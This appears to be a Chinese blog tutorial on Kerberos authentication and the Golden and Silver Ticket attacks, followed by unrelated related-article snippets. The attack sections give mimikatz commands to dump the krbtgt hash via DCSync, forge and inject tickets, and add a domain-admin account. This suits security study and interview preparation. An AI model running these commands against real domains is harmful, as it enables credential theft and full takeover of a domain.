黄金票据与白银票据
文章目录
- 黄金票据与白银票据
- 1. 背景
- 2. 具体实现
- 2.1 Kerberos协议认证流程
- 3. 黄金票据
- 3.1 条件
- 3.2 适用场景
- 3.3 利用方式
- 4. 白银票据
- 4.1 条件
- 4.2 适用场景
- 4.3 利用方式
- 5. 金票和银票的区别
- 5.1 获取的权限不同
- 5.2 认证流程不同
- 5.3 加密方式不同
- 6. 经典面试题
- 6.1 什么是黄金票据与白银票据?
- 6.2 kerberos认证流程?
- 6.1 什么是黄金票据与白银票据?
- 6.2 kerberos认证流程?
黄金票据与白银票据
TGT(票据授权票):无法对任何服务进行访问,但是TGT可以认证用户的身份。(身份票据)
TGT有权限去申请其他服务的票据。获取到其他服务的票据后如邮件服务的票据,就可以访问邮件服务了。
说明:
-
黄金票据(TGT)就是身份票据
-
白银票据(SGT)就是服务票据
为什么要先去找TGT再去找服务,不能直接去找服务呢?
- 因为服务没有办法验证用户的身份,需要域来进行介入
PTH哈希传递
PTT票据传递(黄金票据与白银票据)
1. 背景
1、个人文件还是公司文件以及服务都存在于一台系统上,所有人都要去一台机器办公,效率非常低,为每个人分配了电脑以后就需要考虑安全问题
2、如何让服务器正确识别每一个人,假定所有数据包在传输过程中都可以被任意截取和修改
3、在每一台电脑上都存入所有人的账户密码是不现实的,所以引入一个认证服务统一管理所有的用户密码
4、假设用户访问邮件服务,认证服务让你提供密码以此来证明身份,它把你提供的密码和数据库中的密码相比较,通过认证,认证服务不会提供给你任何密码,不然下次你就可以不认证直接利用密码登录,认证服务会给你一张票,拿到票后,你把此票给邮件服务,以此来证明你的身份
5、需要解决的问题,每次使用还没有得到票的服务前,都必须给认证密码。比如使用邮件服务,就要输入一次。使用文件服务,又要输入一次。打印服务,还要输入一次,并且网络中明文传输密码。不法分子就可以监听网络流量获取密码。
6、引入”票据授权”服务(TGS),TGS将代替认证服务的发票功能,以后认证服务不在提供票据,如果你有TGS发放的服务票证,可以使用此票对应的服务
7、如果你通过了认证服务的验证,将会得到一张票据授权票(TGT),现在你想使用邮件服务,然而还没有邮件服务的票,所以你使用”票据授权”票去取邮件服务的票,”票据授权”票,可以使用此票获取你需要的其他服务票
8、解决密码明文传输,当你取得票据授权票时,不再发送密码,而只发送你的用户名,认证服务得到用户名以后用此用户名查你的密码,之后认证服务会制作一个包含票据授权票(TGT)的数据包,并且用你的密码加密此数据包,这样即使数据包被截取没有密码无法解密也获取不到TGT
9、票据的有效期问题,有效期内票据丢失会产生复用,并且没法灵活销毁票据
10、引入会话密钥session key ,认证服务,认证服务会返回票以及一份session key,都用用户的ntml加密,用户利用session key生成认证器来与服务进行沟通
2. 具体实现
1、KDC 服务默认会安装在一个域的域控中
Kerberos协议对于用户的认证上在域控中有的服务名称是:KDC。KDC包含了AS服务和TGS服务。
-
(Authentication Service)AS服务下发身份票据TGT也就是黄金票据
-
(Ticket Granting Service)TGS服务下发服务票据SGT也就是白银票据
2、从物理层面看,AD与KDC均为域控制器(Domain Controller)
3、AD其实是一个类似于本机SAM的一个数据库,全称叫account database,存储所有client的白名单,只有存在于白名单的client才能顺利申请到TGT
4、KDC 服务框架中包含一个 KRBTGT 账户,它是在创建域时系统自动创建的一个账号,你可以暂时理解为他就是一个无法登陆的账号,在发放票据时会使用到它的密码 HASH 值。
KRBTGT hash可以理解为域管理员的哈希值,域控才有KRBTGT hash

当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,然后通过 AS 发放的 TGT 向 Server 发起认证请求,这个过程分为三块:
-
The Authentication Service Exchange:Client 与 AS 的交互,
-
The Ticket-Granting Service (TGS) Exchange:Client 与 TGS 的交互,
-
The Client/Server Authentication Exchange:Client 与 Server 的交互
2.1 Kerberos协议认证流程

1、客户端发送自己的用户名给AS2、AS验证用户名是否在白名单列表,如果在的话随机生成session key(as),返回如下信息TGT1(session key(as),TGS服务器信息等)--客户端NTLM哈希加密TGT2(session key(as),客户端信息等)--KRBTGT NTLM哈希加密3、用自己的NTLM哈希解密TGT1,获得TGS服务器信息以及session key(as),TGT2由于是别人的哈希,所以解不开生成认证因子(客户端信息,当前时间)--session key(as)加密发送认证因子以及TGT2给TGS服务4、TGS服务先解密TGT2获得session key(as),紧接着利用session key(as)解密认证因子,对比认证因子与TGT2的客户端信息是否一致,如果一致生成session key(TGS),返回如下信息给客户端TGT3(session key(TGS),服务器信息,票据到期时间)--session key(as)加密TGT4(session key(TGS),客户端信息,票据到期时间)--客户端想要访问的服务器的哈希加密5、客户端解密TGT3,得到session key(TGS),服务器信息生成认证因子2(服务器信息,票据到期时间)--session key(TGS)加密发送认证因子2以及TGT4给服务器6、服务器先用自己的哈希解密TGT4得到session key(TGS),客户端信息,票据有效期利用session key(TGS)解密认证因子对比客户端信息决定是否提供服务
3. 黄金票据
黄金票据就是伪造的TGT,AS返回的票据
3.1 条件
1、域名称
2、域的SID值
3、域的KRBTGT账号的HASH
4、伪造任意用户名
3.2 适用场景
由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,管理员在域内加固时忘记重置krbtgt密码
3.3 利用方式
1、在普通域用户中使用mimikatz生成黄金票据.kirbi文件并保存
privilege::debug
lsadump::lsa /patch

mimikatz log "lsadump::dcsync /domain:xiusafe /user:krbtgt"//导出NTLM哈希
kerberos::golden /user:administrator /domain:xiusafe.com /sid:S-1-5-21-3818247987-2711466351-3365387365 /krbtgt:5eadd5a4f3a4861f8e887310db890002 /ticket:ticket.kirbi
/user:需要伪造的域管理员用户
/domain:域名称
/sid:SID值,(这里要是使用系统命令的话抓到是这样的SID,最后面的值代表着这个账号的SID值,注意是去掉最后一个-后面的值!)
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称

2、清除票据
kerberos::purge \\清除票据
kerberos::tgt \\查看票据
3、导入票据
kerberos::ptt ticket.kirbi
4、创建域管
net user a !@#qwe123 /add /domain
net group "domain admins" a /add /domain
4. 白银票据
白银票据就是伪造的ST,TGS返回的票据
4.1 条件
1.域名
2.域sid
3.目标服务器名
4.可利用的服务
5.服务账号的NTML HASH
6.需要伪造的用户名
4.2 适用场景
知道服务器的Hash,可以访问服务器的某些服务而不用于kdc进行交互
4.3 利用方式
伪造票据
kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:需要访问的服务 /rc4:服务账号NTMLHASH /user:用户名 /ptt
用户名可随意填写

先使用mimikatz清空票据,再导入伪造的票据
5. 金票和银票的区别
5.1 获取的权限不同
金票:伪造的TGT,可以获取任意Kerberos的访问权限。
银票:伪造的ST,只能访问指定的服务,如文件服务器(CIFS)。
5.2 认证流程不同
金票:同KDC交互,但不同AS交互。
银票:不同KDC交互,直接访问Server。
5.3 加密方式不同
金票:由krbtgt NTLM Hash 加密。
银票:由服务账号 NTLM Hash 加密。
6. 经典面试题
6.1 什么是黄金票据与白银票据?
-
黄金票据就是伪造了Kerberos协议中的身份票据(TGT)
- 黄金票据可以访问该用户身份的所有服务
-
白银票据就是伪造了Kerberos协议通信流程中服务票据(SGT)
- 白银票据只能访问某一个服务
-
使用域管理员身份创建的票据就是黄金票据,可以访问域内的所有服务。
6.2 kerberos认证流程?
-
客户端先去找AS服务进行认证,获取身份票据TGT。
-
然后拿着TGT票据寻找TGS服务,获取服务票据。
经典面试题
6.1 什么是黄金票据与白银票据?
-
黄金票据就是伪造了Kerberos协议中的身份票据(TGT)
- 黄金票据可以访问该用户身份的所有服务
-
白银票据就是伪造了Kerberos协议通信流程中服务票据(SGT)
- 白银票据只能访问某一个服务
-
使用域管理员身份创建的票据就是黄金票据,可以访问域内的所有服务。
6.2 kerberos认证流程?
-
客户端先去找AS服务进行认证,获取身份票据TGT。
-
然后拿着TGT票据寻找TGS服务,获取服务票据。
-
拿着服务票据访问具体的服务
相关文章:
黄金票据与白银票据
文章目录 黄金票据与白银票据1. 背景2. 具体实现2.1 Kerberos协议认证流程 3. 黄金票据3.1 条件3.2 适用场景3.3 利用方式 4. 白银票据4.1 条件4.2 适用场景4.3 利用方式 5. 金票和银票的区别5.1 获取的权限不同5.2 认证流程不同5.3 加密方式不同 6. 经典面试题6.1 什么是黄金票…...
发稿渠道和发布新闻的步骤和技巧,收藏!
在现代社会中,新闻的发布和传播起着至关重要的作用。通过新闻,人们可以获取及时的信息,了解社会动态和事件发展。而对于企业和组织来说,通过新闻发布可以宣传品牌、推广产品,增加曝光度,吸引目标受众的关注…...
【Leetcode】204. 计数质数
一、题目 1、题目描述 给定整数 n ,返回 所有小于非负整数 n 的质数的数量 。 示例1: 输入:n = 10 输出:4 解释:小于 10 的质数一共有 4 个, 它们是 2, 3, 5, 7 。示例2: 输入:n = 0 输出:0示例3: 输入:n = 1 输出:0提示: 0 <= n <= 5 * 1062、基础框架…...
LRU自定义最近最少使用-java实现
LRU自定义最近最少使用 一:leetCode 题目二:思路三:上代码3.1:类代码3.2: 测试代码 一:leetCode 题目 题目链接: 题目链接:146.LRU缓存 为什么要写博客记录下呢? 1.这个…...
spring:详解spring boot
spring的优缺点 虽然Spring的组件代码是轻量级的,但它的配置却是重量级的。一开始,Spring用XML配置,而且是很多XML配 置。Spring 2.5引入了基于注解的组件扫描,这消除了大量针对应用程序自身组件的显式XML配置。Spring 3.0引入 了…...
大数据Doris(八):启动FE步骤
文章目录 启动FE步骤 一、配置环境变量 二、创建doris-mate...
vuex常用属性
以下是Vuex常用属性: state:存储应用程序状态的数据 getters:获取应用程序状态的计算属性 mutations:修改应用程序状态的同步方法 actions:修改应用程序状态的异步方法 modules:将应用程序状态分为模块…...
M-LVDS收发器MS2111可pin对pin兼容SN65MLVD206
MS2111 是多点低压差分(M-LVDS)线路驱动器和接收器,经过优化可在高达 200 Mbps 的信令速率下运行。可pin对pin兼容SN65MLVD206。所有部件均符合 M-LVDS 标准 TIA / EIA-899。该驱动器输出已设计为支持负载低至 30Ω 的多点总线。 MS2111 的接收器属于 Type-2, 它们可…...
JVM-Java字节码的组成部分
Java字节码文件是一种由Java编译器生成的二进制文件,用于在Java虚拟机(JVM)上执行Java程序。字节码文件的组成可以分为以下几个主要部分: 基本信息: 魔数(Magic Number):前4个字节的…...
C# 图像灰化处理方法及速度对比
图像处理过程中,比较常见的灰化处理,将彩色图像处理为黑白图像,以便后续的其他处理工作。 在面对大量的图片或者像素尺寸比较大的图片的时候,处理速度和性能就显得非常重要,下面分别用3种方式来处理图像数据࿰…...
【嵌入式】STM32F031K4U6、STM32F031K6U6、STM32F031K6T6主流ARM Cortex-M0基本型系列MCU规格参数
一、电路原理图 【嵌入式】STM32F031K4U6、STM32F031K6U6、STM32F031K6T6主流ARM Cortex-M0基本型系列MCU —— 明佳达 二、规格参数 1、STM32F031K4U6(16KB)闪存 32UFQFPN 核心处理器:ARM Cortex-M0 内核规格:32 位单核 速度&a…...
04_学习springdoc与oauth结合_简述
文章目录 1 前言2 基本结构3 需要做的配置 简述4 需要做的配置 详述4.1 backend-api-gateway 的配置4.1.1 application.yml 4.2 backend-film 的配置4.2.1 pom.xml 引入依赖4.2.2 application.yml 的配置4.2.3 Spring Security 资源服务器的配置类 MyResourceServerConfig4.2.4…...
【设计模式】单例模式的7种实现方法
一、饿汉式-线程安全 线程安全,但无法实现实例懒加载策略 /*** 饿汉式* author CC* version 1.0* since2023/10/12*/ public class Singleton {private static final Singleton singleton new Singleton();private Singleton() {}public static Singleton getSin…...
AlphaPose Pytorch 代码详解(一):predict
前言 代码地址:AlphaPose-Pytorch版 本文以图像 1.jpg(854x480)为例对整个预测过程的各个细节进行解读并记录 python demo.py --indir examples/demo --outdir examples/res --save_img1. YOLO 1.1 图像预处理 cv2读取BGR图像 img [480,…...
日常学习记录随笔-zabix实战
使用zabix结合 实现一套监控报警装置 不管是web开发还是大数据开发 我们的离线项目还是实时项目也好,都需要把我们的应用提交到我们服务器或者容器中去执行 整个应用过程中怎么保证线上整体环境的稳定运行 监控很重要 现在比较主流的就是 普罗米修斯以及zabix 我要做…...
vw+rem自适应布局
开发过程中,我们希望能够直接按照设计图来开发,不管设计图是两倍还是三倍图,能够直接写设计图尺寸而不需要换算,同时有高质的设计图还原度,想想都比较爽。 这里介绍一种使用vw和rem来布局的方案。 该方案思路主要是&am…...
【MySql】mysql之MHA高可用配置及故障切换
一、MHA概念 MHA(Master High Availability)是一套优秀的Mysql高可用环境下故障切换和主从复制的软件。 MHA的出现就是解决Mysql单点的问题。 Mysql故障切换过程中,MHA能做到0-30秒内自动完成故障切换操作。 MHA能在故障切换的过程中最大程…...
如何在 Spring Boot 中进行数据备份
在Spring Boot中进行数据备份 数据备份是确保数据安全性和可恢复性的关键任务之一。Spring Boot提供了多种方法来执行数据备份,无论是定期备份数据库,还是将数据导出到外部存储。本文将介绍在Spring Boot应用程序中进行数据备份的不同方法。 方法1: 使用…...
为Yolov7环境安装Cuba匹配的Pytorch
1. 查看Cuba版本 方法一 nvidia-smi 找到CUDA Version 方法二 Nvidia Control Panel > 系统信息 > 组件 > 2. 安装Cuba匹配版本的PyTorch https://pytorch.org/get-started/locally/这里使用conda安装 conda install pytorch torchvision torchaudio pytorch-cu…...
SpringBoot基于jackson对象映射器扩展mvc框架的消息转换器
在SpringBoot中,可以基于jackson对象映射器扩展mvc框架的消息转换器 具体步骤如下: 1、创建对象映射器: package com.java.demo.common;import com.fasterxml.jackson.databind.DeserializationFeature; import com.fasterxml.jackson.datab…...
国防科技大学计算机基础课程笔记02信息编码
1.机内码和国标码 国标码就是我们非常熟悉的这个GB2312,但是因为都是16进制,因此这个了16进制的数据既可以翻译成为这个机器码,也可以翻译成为这个国标码,所以这个时候很容易会出现这个歧义的情况; 因此,我们的这个国…...
MongoDB学习和应用(高效的非关系型数据库)
一丶 MongoDB简介 对于社交类软件的功能,我们需要对它的功能特点进行分析: 数据量会随着用户数增大而增大读多写少价值较低非好友看不到其动态信息地理位置的查询… 针对以上特点进行分析各大存储工具: mysql:关系型数据库&am…...
BCS 2025|百度副总裁陈洋:智能体在安全领域的应用实践
6月5日,2025全球数字经济大会数字安全主论坛暨北京网络安全大会在国家会议中心隆重开幕。百度副总裁陈洋受邀出席,并作《智能体在安全领域的应用实践》主题演讲,分享了在智能体在安全领域的突破性实践。他指出,百度通过将安全能力…...
Android Bitmap治理全解析:从加载优化到泄漏防控的全生命周期管理
引言 Bitmap(位图)是Android应用内存占用的“头号杀手”。一张1080P(1920x1080)的图片以ARGB_8888格式加载时,内存占用高达8MB(192010804字节)。据统计,超过60%的应用OOM崩溃与Bitm…...
Xen Server服务器释放磁盘空间
disk.sh #!/bin/bashcd /run/sr-mount/e54f0646-ae11-0457-b64f-eba4673b824c # 全部虚拟机物理磁盘文件存储 a$(ls -l | awk {print $NF} | cut -d. -f1) # 使用中的虚拟机物理磁盘文件 b$(xe vm-disk-list --multiple | grep uuid | awk {print $NF})printf "%s\n"…...
算法:模拟
1.替换所有的问号 1576. 替换所有的问号 - 力扣(LeetCode) 遍历字符串:通过外层循环逐一检查每个字符。遇到 ? 时处理: 内层循环遍历小写字母(a 到 z)。对每个字母检查是否满足: 与…...
SQL慢可能是触发了ring buffer
简介 最近在进行 postgresql 性能排查的时候,发现 PG 在某一个时间并行执行的 SQL 变得特别慢。最后通过监控监观察到并行发起得时间 buffers_alloc 就急速上升,且低水位伴随在整个慢 SQL,一直是 buferIO 的等待事件,此时也没有其他会话的争抢。SQL 虽然不是高效 SQL ,但…...
MySQL JOIN 表过多的优化思路
当 MySQL 查询涉及大量表 JOIN 时,性能会显著下降。以下是优化思路和简易实现方法: 一、核心优化思路 减少 JOIN 数量 数据冗余:添加必要的冗余字段(如订单表直接存储用户名)合并表:将频繁关联的小表合并成…...
并发编程 - go版
1.并发编程基础概念 进程和线程 A. 进程是程序在操作系统中的一次执行过程,系统进行资源分配和调度的一个独立单位。B. 线程是进程的一个执行实体,是CPU调度和分派的基本单位,它是比进程更小的能独立运行的基本单位。C.一个进程可以创建和撤销多个线程;同一个进程中…...
LabVIEW双光子成像系统技术
双光子成像技术的核心特性 双光子成像通过双低能量光子协同激发机制,展现出显著的技术优势: 深层组织穿透能力:适用于活体组织深度成像 高分辨率观测性能:满足微观结构的精细研究需求 低光毒性特点:减少对样本的损伤…...
